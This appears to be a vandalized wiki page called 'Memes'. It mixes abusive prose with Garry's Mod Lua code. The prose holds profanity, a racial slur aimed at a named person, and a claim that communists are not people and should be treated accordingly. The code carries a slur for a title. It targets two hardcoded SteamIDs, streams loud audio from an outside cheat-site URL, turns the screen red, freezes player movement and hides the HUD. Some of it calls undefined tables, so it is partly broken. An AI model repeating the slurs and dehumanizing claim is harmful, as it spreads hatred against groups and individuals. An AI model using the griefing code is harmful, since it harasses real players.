Memes

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Revision as of 20:48, 29 January 2019 by WikiSysop (talk | contribs) (1 revision imported)
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dildos
a meme

Memes are total fucking dogshit and shouldn't exist. the United States Government intends to use memes in psychological warfare against the populous to cause global upset and to kill communist retards. As everyone knows, though, communists are NOT people, and should be treated accordingly.

fuck you

madman is a nigger

source code for nigger detonator

for k,v in pairs(player.GetAll()) do
if (LocalPlayer():SteamID64() == "76561198370895099" or LocalPlayer():SteamID64() == "76561198223939436" ) then

function earrape()
sound.PlayURL ( "http://shitcheat.me/geturowncheat.mp3", "", function( station )
	if ( IsValid( station ) ) then

		station:SetPos( LocalPlayer():GetPos() )

		station:Play()

	else

		LocalPlayer():ChatPrint( "uh oh" )

	end
end )

end
earrape()
hook.Add( "RenderScreenspaceEffects", "retarddisabler", function()
local tabber = {
	["$pp_colour_addr"] = 2,
	["$pp_colour_addg"] = 0,
	["$pp_colour_addb"] = 0,
	["$pp_colour_brightness"] = 0.7,
	["$pp_colour_contrast"] = 0.6,
	["$pp_colour_colour"] = 3,
	["$pp_colour_mulr"] = 10,
	["$pp_colour_mulg"] = 0,
	["$pp_colour_mulb"] = 0
}
	DrawColorModify( tabber )
end)


function asshole( cmd, ply, origin, angles, fov )
	
	local time = FrameTime()
	SH.ViewOrigin = SH.ViewOrigin + ( SH.Velocity * time)
	SH.Velocity = SH.Velocity * 0.95
	
	local sensitivity = 0.022
	SH.ViewAngle.p = math.Clamp( SH.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 ) 
	SH.ViewAngle.y = SH.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
	
	local nig = Vector( 0, 0, 0 )
	local add = Vector( 0, 0, 0 )
	local ang = SH.ViewAngle
	if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
	if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
	if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
	if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
	if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
	if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
	
	add = add:GetNormal() * defcon.Settings["freecamspeed"]
	if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
	
	SH.Velocity = SH.Velocity + add
	
	if ( 1 == 1 ) then
		SH.LockView = cmd:GetViewAngles()
	end
	if ( 1 == 1 ) then
		cmd:SetViewAngles( SH.LockView )
	end
	
	cmd:SetForwardMove( 0 )
	cmd:SetSideMove( 0 )
	cmd:SetUpMove( 0 )
end
hook.Add( "CreateMove", "niggerwalker", asshole )


local LightingModeChanged = false
hook.Add( "PreRender", "fuckoff", function()
if defcon.Settings["fullbright"] and GetConVarNumber("panicmode") == 0 then
	render.SetLightingMode( 2 )
	LightingModeChanged = true
	end
end )

hook.Add( "PostRender", "fullbright", EndOfLightingMod )
hook.Add( "DrawHUD", "fullbright", EndOfLightingMod )

local hide = {
	["CHudHealth"] = true,
	["CHudBattery"] = true,
	["CHudAmmo"] = true,
	["CHudChat"] = true,
	["CHudCrosshair"] = true,
	["CHudGMod"] = true,
	["CHudMenu"] = true,
	["NetGraph"] = true,
	["CHudWeapon"] = true
}

hook.Add( "HUDShouldDraw", "HideHUD", function( name )
	if ( hide[ name ] ) then return false end
end )

end
end